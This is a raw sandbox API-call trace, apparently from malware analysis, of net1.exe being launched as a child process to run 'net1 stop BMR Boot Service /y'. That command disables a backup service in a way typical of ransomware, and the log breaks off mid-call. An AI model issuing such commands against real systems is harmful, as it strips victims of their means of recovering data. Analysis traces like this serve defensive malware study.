Thread: id = 66 os_tid = 0xee8 Process: id = "11" image_name = "net1.exe" filename = "c:\\windows\\system32\\net1.exe" page_root = "0x59047000" os_pid = "0xef8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xee4" cmd_line = "C:\\Windows\\system32\\net1 stop BMR Boot Service /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 67 os_tid = 0xefc [0098.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fe70 | out: lpSystemTimeAsFileTime=0x24fe70*(dwLowDateTime=0xfe43b500, dwHighDateTime=0x1d5eccb)) [0098.380] GetCurrentProcessId () returned 0xef8 [0098.381] GetCurrentThreadId () returned 0xefc [0098.381] GetTickCount () returned 0x1153505 [0098.381] QueryPerformanceCounter (in: lpPerformanceCount=0x24fe78 | out: lpPerformanceCount=0x24fe78*=17922215404) returned 1 [0098.383] GetModuleHandleW (lpModuleName=0x0) returned 0xff0e0000 [0098.383] __set_app_type (_Type=0x1) [0098.383] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0f9c9c) returned 0x0 [0098.383] __getmainargs (in: _Argc=0xff104780, _Argv=0xff104790, _Env=0xff104788, _DoWildCard=0, _StartInfo=0xff10479c | out: _Argc=0xff104780, _Argv=0xff104790, _Env=0xff104788) returned 0 [0098.383] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.383] GetConsoleOutputCP () returned 0x1b5 [0098.384] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff10cec0 | out: lpCPInfo=0xff10cec0) returned 1 [0098.384] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.386] sprintf_s (in: _DstBuf=0x24fe18, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0098.386] setlocale (category=0, locale=".437") returned="English_United States.437" [0098.388] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0098.388] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.388] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop BMR Boot Service /y" [0098.388] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24fbb0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c [0098.388] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x94) returned 0x2fc200 [0098.388] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0 [0098.388] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24fe08 | out: Buffer=0x24fe08*=0x2fc2a0) returned 0x0 [0098.388] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24fe08 | out: Buffer=0x24fe08*=0x2fc2c0) returned 0x0 [0098.388] _fileno (_File=0x7feffb12a80) returned -2 [0098.388] _setmode (_FileHandle=-2, _Mode=16384) returned -1 [0098.388] _wcsicmp (_String1="accounts", _String2="stop") returned -18 [0098.389] _wcsicmp (_String1="computer", _String2="stop") returned -16 [0098.389] _wcsicmp (_String1="config", _String2="stop") returned -16 [0098.389] _wcsicmp (_String1="continue", _String2="stop") returned -16 [0098.389] _wcsicmp (_String1="cont", _String2="stop") returned -16 [0098.389] _wcsicmp (_String1="file", _String2="stop") returned -13 [0098.389] _wcsicmp (_String1="files", _String2="stop") returned -13 [0098.389] _wcsicmp (_String1="group", _String2="stop") returned -12 [0098.389] _wcsicmp (_String1="groups", _String2="stop") returned -12 [0098.389] _wcsicmp (_String1="help", _String2="stop") returned -11 [0098.389] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11 [0098.389] _wcsicmp (_String1="localgroup", _String2="stop") returned -7 [0098.389] _wcsicmp (_String1="pause", _String2="stop") returned -3 [0098.389] _wcsicmp (_String1="session", _String2="stop") returned -15 [0098.389] _wcsicmp (_String1="sessions", _String2="stop") returned -15 [0098.389] _wcsicmp (_String1="sess", _String2="stop") returned -15 [0098.389] _wcsicmp (_String1="share", _String2="stop") returned -12 [0098.389] _wcsicmp (_String1="start", _String2="stop") returned -14 [0098.389] _wcsicmp (_String1="stats", _String2="stop") returned -14 [0098.389] _wcsicmp (_String1="statistics", _String2="stop") returned -14 [0098.389] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0098.389] _wcsicmp (_String1="accounts", _String2="BMR") returned -1 [0098.389] _wcsicmp (_String1="computer", _String2="BMR") returned 1 [0098.389] _wcsicmp (_String1="config", _String2="BMR") returned 1 [0098.389] _wcsicmp (_String1="continue", _String2="BMR") returned 1 [0098.389] _wcsicmp (_String1="cont", _String2="BMR") returned 1 [0098.389] _wcsicmp (_String1="file", _String2="BMR") returned 4 [0098.389] _wcsicmp (_String1="files", _String2="BMR") returned 4 [0098.389] _wcsicmp (_String1="group", _String2="BMR") returned 5 [0098.389] _wcsicmp (_String1="groups", _String2="BMR") returned 5 [0098.389] _wcsicmp (_String1="help", _String2="BMR") returned 6 [0098.389] _wcsicmp (_String1="helpmsg", _String2="BMR") returned 6 [0098.389] _wcsicmp (_String1="localgroup", _String2="BMR") returned 10 [0098.389] _wcsicmp (_String1="pause", _String2="BMR") returned 14 [0098.390] _wcsicmp (_String1="session", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="sessions", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="sess", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="share", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="start", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="stats", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="statistics", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="stop", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="time", _String2="BMR") returned 18 [0098.390] _wcsicmp (_String1="user", _String2="BMR") returned 19 [0098.390] _wcsicmp (_String1="users", _String2="BMR") returned 19 [0098.390] _wcsicmp (_String1="msg", _String2="BMR") returned 11 [0098.390] _wcsicmp (_String1="messenger", _String2="BMR") returned 11 [0098.390] _wcsicmp (_String1="receiver", _String2="BMR") returned 16 [0098.390] _wcsicmp (_String1="rcv", _String2="BMR") returned 16 [0098.390] _wcsicmp (_String1="netpopup", _String2="BMR") returned 12 [0098.390] _wcsicmp (_String1="redirector", _String2="BMR") returned 16 [0098.390] _wcsicmp (_String1="redir", _String2="BMR") returned 16 [0098.390] _wcsicmp (_String1="rdr", _String2="BMR") returned 16 [0098.390] _wcsicmp (_String1="workstation", _String2="BMR") returned 21 [0098.390] _wcsicmp (_String1="work", _String2="BMR") returned 21 [0098.390] _wcsicmp (_String1="wksta", _String2="BMR") returned 21 [0098.390] _wcsicmp (_String1="prdr", _String2="BMR") returned 14 [0098.390] _wcsicmp (_String1="devrdr", _String2="BMR") returned 2 [0098.390] _wcsicmp (_String1="lanmanworkstation", _String2="BMR") returned 10 [0098.390] _wcsicmp (_String1="server", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="svr", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="srv", _String2="BMR") returned 17 [0098.390] _wcsicmp (_String1="lanmanserver", _String2="BMR") returned 10 [0098.390] _wcsicmp (_String1="alerter", _String2="BMR") returned -1 [0098.390] _wcsicmp (_String1="netlogon", _String2="BMR") returned 12 [0098.391] _wcsicmp (_String1="accounts", _String2="Boot") returned -1 [0098.391] _wcsicmp (_String1="computer", _String2="Boot") returned 1 [0098.391] _wcsicmp (_String1="config", _String2="Boot") returned 1 [0098.391] _wcsicmp (_String1="continue", _String2="Boot") returned 1 [0098.391] _wcsicmp (_String1="cont", _String2="Boot") returned 1 [0098.391] _wcsicmp (_String1="file", _String2="Boot") returned 4 [0098.391] _wcsicmp (_String1="files", _String2="Boot") returned 4 [0098.391] _wcsicmp (_String1="group", _String2="Boot") returned 5 [0098.391] _wcsicmp (_String1="groups", _String2="Boot") returned 5 [0098.391] _wcsicmp (_String1="help", _String2="Boot") returned 6 [0098.391] _wcsicmp (_String1="helpmsg", _String2="Boot") returned 6 [0098.391] _wcsicmp (_String1="localgroup", _String2="Boot") returned 10 [0098.391] _wcsicmp (_String1="pause", _String2="Boot") returned 14 [0098.391] _wcsicmp (_String1="session", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="sessions", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="sess", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="share", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="start", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="stats", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="statistics", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="stop", _String2="Boot") returned 17 [0098.391] _wcsicmp (_String1="time", _String2="Boot") returned 18 [0098.391] _wcsicmp (_String1="user", _String2="Boot") returned 19 [0098.391] _wcsicmp (_String1="users", _String2="Boot") returned 19 [0098.391] _wcsicmp (_String1="msg", _String2="Boot") returned 11 [0098.391] _wcsicmp (_String1="messenger", _String2="Boot") returned 11 [0098.391] _wcsicmp (_String1="receiver", _String2="Boot") returned 16 [0098.391] _wcsicmp (_String1="rcv", _String2="Boot") returned 16 [0098.391] _wcsicmp (_String1="netpopup", _String2="Boot") returned 12 [0098.391] _wcsicmp (_String1="redirector", _String2="Boot") returned 16 [0098.391] _wcsicmp (_String1="redir", _String2="Boot") returned 16 [0098.391] _wcsicmp (_String1="rdr", _String2="Boot") returned 16 [0098.391] _wcsicmp (_String1="workstation", _String2="Boot") returned 21 [0098.391] _wcsicmp (_String1="work", _String2="Boot") returned 21 [0098.391] _wcsicmp (_String1="wksta", _String2="Boot") returned 21 [0098.392] _wcsicmp (_String1="prdr", _String2="Boot") returned 14 [0098.392] _wcsicmp (_String1="devrdr", _String2="Boot") returned 2 [0098.392] _wcsicmp (_String1="lanmanworkstation", _String2="Boot") returned 10 [0098.392] _wcsicmp (_String1="server", _String2="Boot") returned 17 [0098.392] _wcsicmp (_String1="svr", _String2="Boot") returned 17 [0098.392] _wcsicmp (_String1="srv", _String2="Boot") returned 17 [0098.392] _wcsicmp (_String1="lanmanserver", _String2="Boot") returned 10 [0098.392] _wcsicmp (_String1="alerter", _String2="Boot") returned -1 [0098.392] _wcsicmp (_String1="netlogon", _String2="Boot") returned 12 [0098.392] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0098.392] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.392] wcscpy_s (in: _Destination=0x24f7b0, _SizeInWords=0xf, _Source="neth.dll" | out: _Destination="neth.dll") returned 0x0 [0098.392] LoadLibraryW (lpLibFileName="neth.dll") returned 0x756d0000 [0098.398] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc66, dwLanguageId=0x0, lpBuffer=0x24f7a0, nSize=0x0, Arguments=0x24f7a8 | out: lpBuffer="켐/") returned 0xff [0098.402] wcstok (in: _String="CONTINUE: CONT$\r\nFILE: FILES$\r\nGROUP: GROUPS$\r\nREPLICATOR: REPL, REPLICATOR$\r\nSESSION: SESSIONS, SESS$\r\nSTATISTICS: STATS$\r\nUSER: USERS$\r\nWORKSTATION: REDIRECTOR, REDIR, RDR, WORK, WKSTA, PRDR, DEVRDR$\r\nSERVER: SVR, SRV$\r\n", _Delimiter="$", _Context=0xef8 | out: _String="CONTINUE: CONT", _Context=0xef8) returned="CONTINUE: CONT" [0098.402] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nFILE: FILES" [0098.402] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nGROUP: GROUPS" [0098.402] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nREPLICATOR: REPL, REPLICATOR" [0098.403] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSESSION: SESSIONS, SESS" [0098.403] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSTATISTICS: STATS" [0098.403] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nUSER: USERS" [0098.403] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nWORKSTATION: REDIRECTOR, REDIR, RDR, WORK, WKSTA, PRDR, DEVRDR" [0098.403] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSERVER: SVR, SRV" [0098.403] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\n" [0098.403] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned 0x0 [0098.403] wcstok (in: _String="CONTINUE: CONT", _Delimiter=":,$", _Context=0x0 | out: _String="CONTINUE", _Context=0x0) returned="CONTINUE" [0098.403] wcsspn (_String="CONTINUE", _Control="\x09\n\x0b\x0c\r ") returned 0x0 [0098.403] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x43 | out: _String=0x0, _Context=0x43) returned=" CONT" [0098.403] wcsspn (_String=" CONT", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.403] _wcsicmp (_String1="CONT", _String2="stop") returned -16 [0098.403] _wcsicmp (_String1="CONT", _String2="BMR") returned 1 [0098.403] _wcsicmp (_String1="CONT", _String2="Boot") returned 1 [0098.403] _wcsicmp (_String1="CONT", _String2="Service") returned -16 [0098.403] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.403] wcstok (in: _String="\r\nFILE: FILES", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nFILE", _Context=0x0) returned="\r\nFILE" [0098.403] wcsspn (_String="\r\nFILE", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.403] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x46 | out: _String=0x0, _Context=0x46) returned=" FILES" [0098.403] wcsspn (_String=" FILES", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.403] _wcsicmp (_String1="FILES", _String2="stop") returned -13 [0098.403] _wcsicmp (_String1="FILES", _String2="BMR") returned 4 [0098.403] _wcsicmp (_String1="FILES", _String2="Boot") returned 4 [0098.403] _wcsicmp (_String1="FILES", _String2="Service") returned -13 [0098.403] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.403] wcstok (in: _String="\r\nGROUP: GROUPS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nGROUP", _Context=0x0) returned="\r\nGROUP" [0098.403] wcsspn (_String="\r\nGROUP", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.403] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x47 | out: _String=0x0, _Context=0x47) returned=" GROUPS" [0098.403] wcsspn (_String=" GROUPS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.403] _wcsicmp (_String1="GROUPS", _String2="stop") returned -12 [0098.403] _wcsicmp (_String1="GROUPS", _String2="BMR") returned 5 [0098.404] _wcsicmp (_String1="GROUPS", _String2="Boot") returned 5 [0098.404] _wcsicmp (_String1="GROUPS", _String2="Service") returned -12 [0098.404] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.404] wcstok (in: _String="\r\nREPLICATOR: REPL, REPLICATOR", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nREPLICATOR", _Context=0x0) returned="\r\nREPLICATOR" [0098.404] wcsspn (_String="\r\nREPLICATOR", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.404] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x52 | out: _String=0x0, _Context=0x52) returned=" REPL" [0098.404] wcsspn (_String=" REPL", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.404] _wcsicmp (_String1="REPL", _String2="stop") returned -1 [0098.404] _wcsicmp (_String1="REPL", _String2="BMR") returned 16 [0098.404] _wcsicmp (_String1="REPL", _String2="Boot") returned 16 [0098.404] _wcsicmp (_String1="REPL", _String2="Service") returned -1 [0098.404] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" REPLICATOR" [0098.404] wcsspn (_String=" REPLICATOR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.404] _wcsicmp (_String1="REPLICATOR", _String2="stop") returned -1 [0098.404] _wcsicmp (_String1="REPLICATOR", _String2="BMR") returned 16 [0098.404] _wcsicmp (_String1="REPLICATOR", _String2="Boot") returned 16 [0098.404] _wcsicmp (_String1="REPLICATOR", _String2="Service") returned -1 [0098.404] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.404] wcstok (in: _String="\r\nSESSION: SESSIONS, SESS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nSESSION", _Context=0x0) returned="\r\nSESSION" [0098.404] wcsspn (_String="\r\nSESSION", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.404] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x53 | out: _String=0x0, _Context=0x53) returned=" SESSIONS" [0098.404] wcsspn (_String=" SESSIONS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.404] _wcsicmp (_String1="SESSIONS", _String2="stop") returned -15 [0098.404] _wcsicmp (_String1="SESSIONS", _String2="BMR") returned 17 [0098.404] _wcsicmp (_String1="SESSIONS", _String2="Boot") returned 17 [0098.404] _wcsicmp (_String1="SESSIONS", _String2="Service") returned 1 [0098.404] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" SESS" [0098.404] wcsspn (_String=" SESS", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.404] _wcsicmp (_String1="SESS", _String2="stop") returned -15 [0098.404] _wcsicmp (_String1="SESS", _String2="BMR") returned 17 [0098.405] _wcsicmp (_String1="SESS", _String2="Boot") returned 17 [0098.405] _wcsicmp (_String1="SESS", _String2="Service") returned 1 [0098.405] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.405] wcstok (in: _String="\r\nSTATISTICS: STATS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nSTATISTICS", _Context=0x0) returned="\r\nSTATISTICS" [0098.405] wcsspn (_String="\r\nSTATISTICS", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.405] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x53 | out: _String=0x0, _Context=0x53) returned=" STATS" [0098.405] wcsspn (_String=" STATS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.405] _wcsicmp (_String1="STATS", _String2="stop") returned -14 [0098.405] _wcsicmp (_String1="STATS", _String2="BMR") returned 17 [0098.405] _wcsicmp (_String1="STATS", _String2="Boot") returned 17 [0098.405] _wcsicmp (_String1="STATS", _String2="Service") returned 15 [0098.405] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.405] wcstok (in: _String="\r\nUSER: USERS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nUSER", _Context=0x0) returned="\r\nUSER" [0098.405] wcsspn (_String="\r\nUSER", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.405] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x55 | out: _String=0x0, _Context=0x55) returned=" USERS" [0098.405] wcsspn (_String=" USERS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.405] _wcsicmp (_String1="USERS", _String2="stop") returned 2 [0098.405] _wcsicmp (_String1="USERS", _String2="BMR") returned 19 [0098.405] _wcsicmp (_String1="USERS", _String2="Boot") returned 19 [0098.405] _wcsicmp (_String1="USERS", _String2="Service") returned 2 [0098.405] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.405] wcstok (in: _String="\r\nWORKSTATION: REDIRECTOR, REDIR, RDR, WORK, WKSTA, PRDR, DEVRDR", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nWORKSTATION", _Context=0x0) returned="\r\nWORKSTATION" [0098.405] wcsspn (_String="\r\nWORKSTATION", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.405] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x57 | out: _String=0x0, _Context=0x57) returned=" REDIRECTOR" [0098.405] wcsspn (_String=" REDIRECTOR", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.405] _wcsicmp (_String1="REDIRECTOR", _String2="stop") returned -1 [0098.405] _wcsicmp (_String1="REDIRECTOR", _String2="BMR") returned 16 [0098.405] _wcsicmp (_String1="REDIRECTOR", _String2="Boot") returned 16 [0098.405] _wcsicmp (_String1="REDIRECTOR", _String2="Service") returned -1 [0098.405] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" REDIR" [0098.406] wcsspn (_String=" REDIR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.406] _wcsicmp (_String1="REDIR", _String2="stop") returned -1 [0098.406] _wcsicmp (_String1="REDIR", _String2="BMR") returned 16 [0098.406] _wcsicmp (_String1="REDIR", _String2="Boot") returned 16 [0098.406] _wcsicmp (_String1="REDIR", _String2="Service") returned -1 [0098.406] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" RDR" [0098.406] wcsspn (_String=" RDR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.406] _wcsicmp (_String1="RDR", _String2="stop") returned -1 [0098.406] _wcsicmp (_String1="RDR", _String2="BMR") returned 16 [0098.406] _wcsicmp (_String1="RDR", _String2="Boot") returned 16 [0098.406] _wcsicmp (_String1="RDR", _String2="Service") returned -1 [0098.406] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" WORK" [0098.406] wcsspn (_String=" WORK", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.406] _wcsicmp (_String1="WORK", _String2="stop") returned 4 [0098.406] _wcsicmp (_String1="WORK", _String2="BMR") returned 21 [0098.406] _wcsicmp (_String1="WORK", _String2="Boot") returned 21 [0098.406] _wcsicmp (_String1="WORK", _String2="Service") returned 4 [0098.406] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" WKSTA" [0098.406] wcsspn (_String=" WKSTA", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.406] _wcsicmp (_String1="WKSTA", _String2="stop") returned 4 [0098.406] _wcsicmp (_String1="WKSTA", _String2="BMR") returned 21 [0098.406] _wcsicmp (_String1="WKSTA", _String2="Boot") returned 21 [0098.406] _wcsicmp (_String1="WKSTA", _String2="Service") returned 4 [0098.406] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" PRDR" [0098.406] wcsspn (_String=" PRDR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.406] _wcsicmp (_String1="PRDR", _String2="stop") returned -3 [0098.406] _wcsicmp (_String1="PRDR", _String2="BMR") returned 14 [0098.406] _wcsicmp (_String1="PRDR", _String2="Boot") returned 14 [0098.406] _wcsicmp (_String1="PRDR", _String2="Service") returned -3 [0098.406] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" DEVRDR" [0098.406] wcsspn (_String=" DEVRDR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.406] _wcsicmp (_String1="DEVRDR", _String2="stop") returned -15 [0098.407] _wcsicmp (_String1="DEVRDR", _String2="BMR") returned 2 [0098.407] _wcsicmp (_String1="DEVRDR", _String2="Boot") returned 2 [0098.407] _wcsicmp (_String1="DEVRDR", _String2="Service") returned -15 [0098.407] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.407] wcstok (in: _String="\r\nSERVER: SVR, SRV", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nSERVER", _Context=0x0) returned="\r\nSERVER" [0098.407] wcsspn (_String="\r\nSERVER", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.407] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x53 | out: _String=0x0, _Context=0x53) returned=" SVR" [0098.407] wcsspn (_String=" SVR", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.407] _wcsicmp (_String1="SVR", _String2="stop") returned 2 [0098.407] _wcsicmp (_String1="SVR", _String2="BMR") returned 17 [0098.407] _wcsicmp (_String1="SVR", _String2="Boot") returned 17 [0098.407] _wcsicmp (_String1="SVR", _String2="Service") returned 17 [0098.407] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned=" SRV" [0098.407] wcsspn (_String=" SRV", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.407] _wcsicmp (_String1="SRV", _String2="stop") returned -2 [0098.407] _wcsicmp (_String1="SRV", _String2="BMR") returned 17 [0098.407] _wcsicmp (_String1="SRV", _String2="Boot") returned 17 [0098.407] _wcsicmp (_String1="SRV", _String2="Service") returned 13 [0098.407] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x24f720*="\x02" | out: _String=0x0, _Context=0x24f720*="\x02") returned 0x0 [0098.407] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc67, dwLanguageId=0x0, lpBuffer=0x24f7a0, nSize=0x0, Arguments=0x24f7a8 | out: lpBuffer="쌀/") returned 0x1c [0098.407] wcstok (in: _String="NAMES$\r\nSYNTAX$\r\nSERVICES$\r\n", _Delimiter="$", _Context=0xc67 | out: _String="NAMES", _Context=0xc67) returned="NAMES" [0098.407] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSYNTAX" [0098.407] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSERVICES" [0098.407] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\n" [0098.407] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned 0x0 [0098.407] wcsspn (_String="NAMES", _Control="\x09\n\x0b\x0c\r ") returned 0x0 [0098.407] _wcsicmp (_String1="stop", _String2="NAMES") returned 5 [0098.407] wcsspn (_String="\r\nSYNTAX", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.407] _wcsicmp (_String1="stop", _String2="SYNTAX") returned -5 [0098.407] wcsspn (_String="\r\nSERVICES", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.407] _wcsicmp (_String1="stop", _String2="SERVICES") returned 15 [0098.408] wcscpy_s (in: _Destination=0xff1080d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0098.408] LoadLibraryW (lpLibFileName="NETMSG") returned 0x754d0000 [0098.409] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x754d0000, dwMessageId=0x111d, dwLanguageId=0x0, lpBuffer=0xff105b50, nSize=0x800, Arguments=0xff107f90 | out: lpBuffer="The syntax of this command is:\r\n") returned 0x20 [0098.409] GetFileType (hFile=0x0) returned 0x0 [0098.409] LocalAlloc (uFlags=0x0, uBytes=0x40) returned 0x2f6340 [0098.410] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="The syntax of this command is:\r\n", cchWideChar=32, lpMultiByteStr=0x2f6340, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The syntax of this command is:\r\n", lpUsedDefaultChar=0x0) returned 32 [0098.410] WriteFile (in: hFile=0x0, lpBuffer=0x2f6340, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24f770, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x24f770, lpOverlapped=0x0) returned 0 [0098.410] LocalFree (hMem=0x2f6340) returned 0x0 [0098.410] GetFileType 